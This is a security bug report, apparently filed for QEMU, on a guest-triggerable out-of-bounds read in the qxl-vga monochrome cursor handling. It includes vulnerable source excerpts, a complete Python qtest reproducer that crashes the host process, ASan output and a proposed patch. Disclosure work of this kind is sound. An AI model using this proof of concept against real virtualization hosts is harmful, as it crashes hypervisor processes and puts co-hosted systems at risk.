I can trigger a host-side AddressSanitizer crash/OOB read in current QEMU master through the `qxl-vga` cursor path. The issue is in `qxl_render_cursor()` / `qxl_cursor()` for `SPICE_CURSOR_TYPE_MONO`. `qxl_render_cursor()` maps the guest-provided `QXLCursor` object using the guest-controlled `cursor->chunk.data_size`: ```c case QXL_CURSOR_SET: /* First read the QXLCursor to get QXLDataChunk::data_size ... */ cursor = qxl_phys2virt(qxl, cmd->u.set.shape, ext->group_id, sizeof(QXLCursor)); if (!cursor) { return 1; } /* Then read including the chunked data following QXLCursor. */ cursor = qxl_phys2virt(qxl, cmd->u.set.shape, ext->group_id, sizeof(QXLCursor) + cursor->chunk.data_size); if (!cursor) { return 1; } c = qxl_cursor(qxl, cursor, ext->group_id); ``` For a MONO cursor, `qxl_cursor()` validates the expected bitmap size against `cursor->data_size`, but it does not validate that the first chunk actually contains that many bytes: ```c case SPICE_CURSOR_TYPE_MONO: /* Assume that the full cursor is available in a single chunk. */ size = 2 * cursor_get_mono_bpl(c) * c->height; if (size != cursor->data_size) { fprintf(stderr, "%s: bad monochrome cursor %ux%u with size %u\n", __func__, c->width, c->height, cursor->data_size); goto fail; } and_mask = cursor->chunk.data; xor_mask = and_mask + cursor_get_mono_bpl(c) * c->height; cursor_set_mono(c, 0xffffff, 0x000000, xor_mask, 1, and_mask); break; ``` A guest can set `cursor->data_size` to the correct full MONO cursor size while setting `cursor->chunk.data_size` to zero. The second `qxl_phys2virt()` then verifies only `sizeof(QXLCursor)` bytes, but `cursor_set_mono()` reads the AND/XOR masks starting at `cursor->chunk.data`. If the cursor object is placed at the end of the QXL RAM BAR, those reads cross the mapped RAM region and crash the QEMU process under ASan. ## Environment Reproduced on current master: - QEMU commit: `8f1d3b586f1265023f75ea9c227c35d463321aef` - target: `x86_64-softmmu` - machine used by reproducer: `q35` - device: `qxl-vga` - ASan build: `../configure --target-list=x86_64-softmmu --enable-asan --disable-werror` ## Security boundary note The reproducer uses qtest only for deterministic PCI configuration, PIO, memory writes into the QXL RAM BAR, and timer stepping. The affected path is the QXL PCI display device emulation exposed to a guest when `qxl-vga` is configured on a supported x86_64 virtualization machine such as `q35` or `pc`. The trigger is a guest-programmed QXL memslot and a `QXL_CURSOR_SET` command with a guest-controlled `QXLCursor`. qtest is not the vulnerable component; it is only a compact way to reproduce guest-accessible QXL device operations. ## Related public discussion I found older public QXL cursor and QXL bounds-checking issues, but they appear to have different root causes: - CVE-2021-4207 fixed a double-fetch/race involving guest-controlled cursor width/height in `qxl_cursor()`. - CVE-2022-4144 / QEMU issue #1336 fixed missing size checking in `qxl_phys2virt()` users by adding requested-size checks. - The MONO cursor support patch explicitly says the full MONO cursor is assumed to be available in a single chunk. The current bug is that this assumption is not enforced: `cursor->chunk.data_size` may be smaller than the validated MONO `cursor->data_size`. So this looks like an incomplete validation variant in current master rather than the same old issue. ## Steps to reproduce Build an ASan QEMU: ```text mkdir build cd build ../configure --target-list=x86_64-softmmu --enable-asan --disable-werror ninja -j$(nproc) qemu-system-x86_64 cd .. ``` Save the following as `repro_qxl_mono_cursor_short_chunk_oob.py`: ```python #!/usr/bin/env python3 # Reproducer for a QXL MONO cursor short-chunk host OOB read. # qtest is used only as a deterministic PCI/PIO/RAM transport. import os import shlex import struct import subprocess import sys import threading import time QXL_RAM_SIZE = 64 * 1024 * 1024 QXL_RAM_HEADER_SIZE = 0x2000 QXLRAM_CURSOR_RING_OFF = 4640 QXLRAM_MEM_SLOT_OFF = 5276 QXLRAM_CREATE_SURFACE_OFF = 5292 RING_PROD_OFF = 4 RING_ITEMS_OFF = 20 QXL_IO_NOTIFY_CURSOR = 1 QXL_IO_MEMSLOT_ADD = 8 QXL_IO_CREATE_PRIMARY = 12 QXL_CMD_CURSOR = 3 QXL_CURSOR_SET = 0 SPICE_CURSOR_TYPE_MONO = 1 def qtest(proc: subprocess.Popen, cmd: str, timeout: float = 5.0) -> str: if proc.poll() is not None: raise RuntimeError(f'QEMU exited before {cmd!r}, rc={proc.returncode}') assert proc.stdin is not None and proc.stdout is not None proc.stdin.write(cmd + '\n') proc.stdin.flush() start = time.time() while True: if time.time() - start > timeout: raise TimeoutError(cmd) line = proc.stdout.readline() if line == '': if proc.poll() is not None: raise RuntimeError(f'QEMU exited after {cmd!r}, rc={proc.returncode}') time.sleep(0.01) continue sys.stdout.write(line) sys.stdout.flush() if line.startswith('OK') or line.startswith('FAIL'): return line.strip() def qwrite(proc: subprocess.Popen, addr: int, data: bytes) -> None: qtest(proc, f'write 0x{addr:x} 0x{len(data):x} 0x{data.hex()}') def main() -> int: qemu = os.environ.get('QEMU', './build/qemu-system-x86_64') bios = os.environ.get('QEMU_BIOS', 'pc-bios') qemu_args = [qemu] if bios: qemu_args += ['-L', bios] qemu_args += [ '-display', 'none', '-nodefaults', '-machine', 'q35,accel=qtest', '-m', '128M', '-monitor', 'none', '-serial', 'none', '-device', 'qxl-vga,addr=02.0,debug=1,guestdebug=1', '-trace', 'qxl_memslot_add_guest', '-trace', 'qxl_create_guest_primary', '-trace', 'qxl_ring_cursor_get', '-trace', 'qxl_io_write', '-qtest', 'stdio', ] env = os.environ.copy() env.setdefault('ASAN_OPTIONS', 'abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1') print('[*] launching:', ' '.join(shlex.quote(x) for x in qemu_args), flush=True) proc = subprocess.Popen(qemu_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, bufsize=1, env=env) def drain_stderr() -> None: assert proc.stderr is not None for line in proc.stderr: sys.stderr.write(line) sys.stderr.flush() threading.Thread(target=drain_stderr, daemon=True).start() try: ram_base = 0xe0000000 vram_base = 0xe4000000 rom_base = 0xe8000000 io_base = 0xc000 # Program qxl-vga BARs and enable I/O+memory decoding. for cmd in [ 'outl 0xcf8 0x80001010', f'outl 0xcfc 0x{ram_base:08x}', 'outl 0xcf8 0x80001014', f'outl 0xcfc 0x{vram_base:08x}', 'outl 0xcf8 0x80001018', f'outl 0xcfc 0x{rom_base:08x}', 'outl 0xcf8 0x8000101c', f'outl 0xcfc 0x{io_base | 1:08x}', 'outl 0xcf8 0x80001004', 'outw 0xcfc 0x0007', ]: qtest(proc, cmd) ram_header = ram_base + QXL_RAM_SIZE - QXL_RAM_HEADER_SIZE # Guest memslot 0 covers the QXL RAM BAR. qwrite(proc, ram_header + QXLRAM_MEM_SLOT_OFF, struct.pack('<QQ', ram_base, ram_base + QXL_RAM_SIZE)) qtest(proc, f'outb 0x{io_base + QXL_IO_MEMSLOT_ADD:x} 0x00') # Create a valid primary surface so qxl is in native mode. width, height, stride, fmt = 64, 64, 64 * 4, 32 surface_mem = (0 << 56) | 0x10000 surface = struct.pack('<IIiIIIIIQ', width, height, stride, fmt, 0, 1, 0, 0, surface_mem) qwrite(proc, ram_header + QXLRAM_CREATE_SURFACE_OFF, surface) qtest(proc, f'outb 0x{io_base + QXL_IO_CREATE_PRIMARY:x} 0x00') time.sleep(0.2) # Put a QXLCursor at the very end of the QXL RAM BAR. The fixed header # maps successfully, but chunk.data_size is zero, so the second # qxl_phys2virt() maps only sizeof(QXLCursor). cursor->data_size still # claims a complete MONO cursor payload exists after the struct. cursor_size = 42 cursor_off = QXL_RAM_SIZE - cursor_size cursor_phys = (0 << 56) | cursor_off cur_w, cur_h = 512, 512 mono_size = 2 * ((cur_w + 7) // 8) * cur_h cursor = struct.pack('<QHHHHHIIQQ', 0x4142434445464748, SPICE_CURSOR_TYPE_MONO, cur_w, cur_h, 0, 0, mono_size, 0, 0, 0) assert len(cursor) == cursor_size, len(cursor) qwrite(proc, ram_base + cursor_off, cursor) # Queue QXL_CURSOR_SET pointing at the malformed cursor. cmd_off = 0x20000 cmd_phys = (0 << 56) | cmd_off cursor_cmd = (struct.pack('<Q B hh B Q', 0x1111111122222222, QXL_CURSOR_SET, 0, 0, 1, cursor_phys) + b'\x00' * 128) assert len(cursor_cmd) == 150, len(cursor_cmd) qwrite(proc, ram_base + cmd_off, cursor_cmd) ring = ram_header + QXLRAM_CURSOR_RING_OFF qwrite(proc, ring + RING_ITEMS_OFF, struct.pack('<QII', cmd_phys, QXL_CMD_CURSOR, 0)) qwrite(proc, ring + RING_PROD_OFF, struct.pack('<I', 1)) qtest(proc, f'outb 0x{io_base + QXL_IO_NOTIFY_CURSOR:x} 0x00') # Let the spice/qxl worker process the cursor command. for _ in range(100): if proc.poll() is not None: break try: qtest(proc, 'clock_step 10000000', timeout=2) except Exception: break time.sleep(0.03) finally: if proc.poll() is None: proc.terminate() try: proc.wait(timeout=2) except subprocess.TimeoutExpired: proc.kill() proc.wait() print('[*] QEMU rc', proc.returncode, flush=True) return 0 if __name__ == '__main__': sys.exit(main()) ``` Run it with ASan logging enabled: ```text rm -f qxl_mono_cursor_asan.* ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1:log_path=./qxl_mono_cursor_asan' \ QEMU=./build/qemu-system-x86_64 \ python3 ./repro_qxl_mono_cursor_short_chunk_oob.py cat qxl_mono_cursor_asan.* ``` ## ASan output ```text ==1833181==ERROR: AddressSanitizer: SEGV on unknown address 0x7b8193200000 (pc 0x65211d2e76dc bp 0x7b818adfac80 sp 0x7b818adfac20 T3) ==1833181==The signal is caused by a READ memory access. #0 0x65211d2e76dc in cursor_set_mono ../../ui/cursor.c:150 #1 0x65211cfd99c4 in qxl_cursor ../../hw/display/qxl-render.c:282 #2 0x65211cfd99c4 in qxl_render_cursor ../../hw/display/qxl-render.c:338 #3 0x65211cfd510a in interface_get_cursor_command ../../hw/display/qxl.c:822 #4 0x7b81a4860a13 (/lib/x86_64-linux-gnu/libspice-server.so.1+0x4ba13) #5 0x7b81a4865877 (/lib/x86_64-linux-gnu/libspice-server.so.1+0x50877) #6 0x7b81a498ad3a in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55d3a) #7 0x7b81a49e02b7 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0xab2b7) #8 0x7b81a498a2b2 in g_main_loop_run (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x552b2) #9 0x7b81a4865947 (/lib/x86_64-linux-gnu/libspice-server.so.1+0x50947) #10 0x7b81a2694ac2 (/lib/x86_64-linux-gnu/libc.so.6+0x94ac2) #11 0x7b81a27268cf (/lib/x86_64-linux-gnu/libc.so.6+0x1268cf) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV ../../ui/cursor.c:150 in cursor_set_mono ``` ## Suggested fix The MONO path should enforce the single-chunk assumption before using `cursor->chunk.data` as a full AND/XOR bitmap. For example: ```c case SPICE_CURSOR_TYPE_MONO: size = 2 * cursor_get_mono_bpl(c) * c->height; if (size != cursor->data_size || cursor->chunk.data_size < size) { qxl_set_guest_bug(qxl, "%s: bad monochrome cursor %ux%u data_size %u chunk_size %u", __func__, c->width, c->height, cursor->data_size, cursor->chunk.data_size); goto fail; } and_mask = cursor->chunk.data; xor_mask = and_mask + cursor_get_mono_bpl(c) * c->height; cursor_set_mono(c, 0xffffff, 0x000000, xor_mask, 1, and_mask); break; ``` Since the current code comment says MONO cursors are assumed to be fully contained in a single chunk, requiring `cursor->chunk.data_size == size` may be even stricter and simpler. If a looser check is used, `cursor->chunk.data_size >= size` is the key property needed before `cursor_set_mono()` reads the masks.